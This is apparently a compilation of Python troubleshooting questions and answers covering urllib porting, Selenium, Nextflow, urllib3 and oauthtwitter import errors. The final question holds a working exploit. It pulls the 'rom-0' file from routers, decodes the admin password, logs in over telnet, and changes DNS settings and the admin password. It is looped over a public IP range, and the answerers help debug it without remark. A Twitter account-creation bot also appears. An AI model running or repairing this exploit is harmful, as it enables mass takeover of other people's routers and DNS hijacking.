Need to turn python 3 script to python 2.7 script - python

I had this Python 3 script and now I need it to run on Python 2,
from what I have read urilib should change to urlib2.
But it looks like there was a change in the encoding class.
because I get this error:
16:29:27 + python p.py
16:29:27 Traceback (most recent call last):
16:29:27 File "p.py", line 20, in <module>
16:29:27 binary_data = params.encode(encoding=repr,errors=strict)
16:29:27 NameError: name 'strict' is not defined
This is my Python 3 script:
import urllib
import urllib.request
import sys
import os
url = 'http://google.com'
params = urllib.parse.urlencode({
'profile': 'dev' ,
'KEY':'bdi.key' ,
})
binary_data = params.encode(encoding='ascii',errors='strict')
response = urllib.request.urlopen(url, binary_data).read()
This is my Python 2 script:
import urllib
import urllib2
from contextlib import closing
import sys
import os
url = 'http://google.com'
params = urllib.urlencode({
'profile': 'dev' ,
'KEY':'bdi.key' ,
})
binary_data = params.encode(encoding=repr,errors=strict)
response = urllib2.urlopen(url, binary_data).read()
How Can I get it to work?
I have never used Python before and this is a maintenance script that I am trying to keep alive :)

Issue is in string encoding function, namely errors parameter. You should put strict into quotes, since variable strict doesn't exist.
So, it should be like this:
binary_data = params.encode(encoding=repr, errors='strict')

Related

Selenium Helper No Module

Traceback (most recent call last):
File "gen.py", line 9, in <module>
from SeleniumHelper import SeleniumHelper
ImportError: No module named 'SeleniumHelper'
# python accounts.py -i ../../data/twitter-creator.json -d regular -f 1
# python accounts.py -i ../../data/twitter-creator.json -d proxy -f 1
import sys
import time
import getopt
import simplejson
from selenium import webdriver
from seleniumHelper import seleniumHelper
class TwitterCreator(SeleniumHelper):
MOBILE_URL_CREATE = 'https://mobile.twitter.com/signup?type=email'
MOBILE_FIELD_SIGN_UP_NAME = '#oauth_signup_client_fullname'
MOBILE_FIELD_SIGN_UP_EMAIL = '#oauth_signup_client_phone_number'
MOBILE_FIELD_SIGN_UP_PASSWORD = '#password'
MOBILE_FIELD_SIGN_UP_USERNAME = '#custom_name'
MOBILE_BUTTON_SKIP_PHONE = '.signup-skip input'
MOBILE_BUTTON_INTERESTS = 'input[data-testid="Button"]'
DESKTOP_URL_CREATE = 'https://twitter.com/signup'
DESKTOP_URL_SKIP = 'https://twitter.com/account/add_username'
DESKTOP_URL_MAIN = 'https://twitter.com'
import mechanize
import cookielib
import subprocess
dear python masters. I am getting selenium helper error. I posted the error above. I tried hard to decode the code. but I couldn't find where is the error. where is the problem? I will be very happy if you answer. good work.
note:there is also another file called selenium. I put the error code at the top.
note2: I installed selenium with pip. but he doesn't see.
from SeleniumHelper import SeleniumHelper
--this is improper syntax. Ostensibly you could do import SeleniumHelper as SeleniumHelper? I'm not sure how this differs from simply import SeleniumHelper anyway.

Import own python modules in nextflow script block?

I created a python script called utilities.py in bin/ directory:
#!/usr/bin/env python3
import numpy as np
import pandas as pd
from datetime import datetime
import io
def print_info(in_df, fname_base):
buffer = io.StringIO()
df = in_df.copy()
df.info(buf=buffer)
s = buffer.getvalue()
with open(fname_base+"_info.txt", "w", encoding="utf-8") as f:
f.write(s)
def print_desc(in_df, fname_base):
df = in_df.copy()
desc = df.describe()
desc.to_csv(fname_base+"_desc.tsv", sep = '\t')
def print_data(in_df, fname_base):
df = in_df.copy()
print_info(df, fname_base)
print_desc(df, fname_base)
df.to_csv(fname_base+".tsv", sep = '\t')
and made it executable with chmod +x. I would like to use these functions in a several script blocks in various processes in my workflow. Currently when I try importing a function from my utilities module:
#!/bin/bash nextflow
process transform_data {
input:
path(data)
output:
path("out.tsv"), emit: out_data
script:
"""
#!/usr/bin/env python3
import pandas as pd
import io
from utilities import print_info
"""
}
I get the following error:
Traceback (most recent call last):
File ".command.sh", line 4, in <module>
from utilities import print_info
ModuleNotFoundError: No module named 'utilities'
Is it possible to import own modules in this way?
Which version of Nextflow are you using?
I tested with v22.04.5 and the following works:
My setup is little bit different, instead of specifying #!/usr/bin/env python3, I directly invoked a python script (test.py) which has from utilities import print_info inside it, and it works fine.
script:
"""
test.py
"""
Note that the following won't work: from .utilities import print_info. Therefore, you can import custom Python module with Nextflow.

ImportError: cannot import name CertificateError

The below code throws the following error:
Traceback (most recent call last):
File "./python_PAN_traffic_scraper.py", line 4, in <module>
import urllib3
File "/usr/lib/python2.7/site-packages/urllib3/__init__.py", line 10, in <module>
from .connectionpool import (
File "/usr/lib/python2.7/site-packages/urllib3/connectionpool.py", line 29, in <module>
from ssl import CertificateError
ImportError: cannot import name CertificateError
What am I doing wrong? I want to browse to the firewall portal interface which uses a self-signed certfificate and throws a certificate error when attempting to browse to the site using a specific API URL and API key. Ultimately, I want to expand the code to parse through the XML to look for specific tags and attributes (source / destination / ports / etc).
#!/usr/bin/env python
import ssl
import urllib
import urllib3
import xml.etree.ElementTree as ET
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
DAL = "1.1.1.1"
CHI = "2.2.2.2"
firewall_ip = [ 'Dallas', 'Chicago' ]
datacenter=raw_input('Which firewall do you want traffic logs for? \"DAL\" or \"CHI\"?: ')
contents = ""
cmd = "/api/?type=log&log-type=traffic&query=(receive_time geq '2017/1/22 23:00:00')"
key = "&key=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa="
url = "https://"+pan_ip[0]+urllib3.urlencode(cmd)+key
response = urllib3.urlopen(url, verify=False)
contents = ET.fromstring(response.read())
if DC is "DAL":
print contents
else:
print "Goodbye"
#result = ""
#for i in contents[0][0]:
# if i[0][0].tag == entry:
# for j in i[0][0]:
# if j.tag == 'src' and j.text == src:
# result = i.attrib['name']
#print result
I uninstalled urllib3 and did a fresh install:
$ git clone git://github.com/shazow/urllib3.git
cd to the folder containing urllib3/
$ python setup.py install
This got rid of the error completely.

Twitter sign in script cannot import name Api

I am using the following code to sign in to twitter:
import simplejson
import twitter
import oauth
import oauthtwitter
from oauthtwitter import OAuthApi
class OauthRequest():
CONSUMER_KEY = ""
CONSUMER_SECRET = ""
AUTHORIZATION_URL = 'http://twitter.com/oauth/authorize'
REQUEST_TOKEN_URL = 'https://twitter.com/oauth/request_token'
def GetRequest(self):
vOauthApi = OAuthApi(self.CONSUMER_KEY, self.CONSUMER_SECRET)
self.mOauthRequestToken = vOauthApi.getRequestToken(self.REQUEST_TOKEN_URL)
self.mOauthRequestUrl = vOauthApi.getAuthorizationURL(self.mOauthRequestToken)
However, I receive the following error message:
Traceback (most recent call last):
File "C:\Python33\twitter.py", line 4, in <module>
import oauthtwitter
File "C:\Python33\lib\site-packages\oauthtwitter.py", line 17, in <module>
from twitter import Api, User
ImportError: cannot import name Api
I have installed PIP and downloaded the 'oauth', 'oauthtwitter' and 'twitter' modules using it. I am running Windows Vista and Python 3.3. As far as I can tell in my 'Lib' folder the files are there for oauthtwitter.
I'm noy sure exactly what is going wrong here?
Thanks

NameError: name 'host' is not defined

I'm new in python programming. When i try running a simple python script i get error like this in my terminal
root#bt:/tmp# python code.py
Traceback (most recent call last):
File "code.py", line 42, in <module>
print host+" -> Offline!"
NameError: name 'host' is not defined
I have been search in Google but im difficult to fix my problem because im new in this programming language. Can you help me?
This is my script like this :
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers
from netaddr import IPNetwork
import urllib2
import urllib
import re
import getpass
import sys
import telnetlib
import time
import os
import socket
import sys
socket.setdefaulttimeout(4)
register_openers()
try:
os.remove("rom-0")
except:
pass
try:
host=str(sys.argv[1])
urllib.urlretrieve ("http://"+host+"/rom-0", "rom-0")
datagen, headers = multipart_encode({"uploadedfile": open("rom-0")})
request = urllib2.Request("http://localhost/decoded.php", datagen, headers)
str1 = urllib2.urlopen(request).read()
m = re.search('rows=10>(.*)', str1)
if m:
found = m.group(1)
tn = telnetlib.Telnet(host, 23, 3)
tn.read_until("Password: ")
tn.write(found + "\n")
tn.write("set lan dhcpdns 8.8.8.8\n")
tn.write("sys password admin\n")
print host+" -> Success"
tn.write("exit\n")
except:
print host+" -> Offline!"
How i can fix error like this.?
Thanks
If i put : host=str(sys.argv[1]) before try.except show error like this :
Traceback (most recent call last):
File "code.py", line 17, in
host=str(sys.argv[1])
IndexError: list index out of range
And this is my input :
from netaddr import IPNetwork
import os
for ip in IPNetwork ('41.108.48.1/24'):
os.system("python code.py "+str(ip))
Your except clause will catch any error in any line of code in the try block. If you don't specify enough arguments on the command line, the line host = str(sys.argv[1]) will fail, leaving host unassigned, which then causes the error you are seeing when you try to print it.
You should take most of the code out of your try block, really, and/or create multiple try blocks that catch errors in much smaller chunks of code. Furthermore, you should specify the actual exception type you want to handle with each except instead of trying to handle all of them. Bare except: catches things you probably don't want caught, such as KeyboardInterrupt and SystemExit. If you must catch most exceptions, use except Exception: instead of just except:.
it seem that your script expects an input parameter
host=str(sys.argv[1])
in case that parameter is not supplied, as shown in your post, an exception raised and been caught in the except clause before the host parameter was defined
try to declare host before the try/except block
you are defining host in the first line of try/except
i believe the error is in that first line.
to debug this take remove the try/except to see what the actual error is.

Categories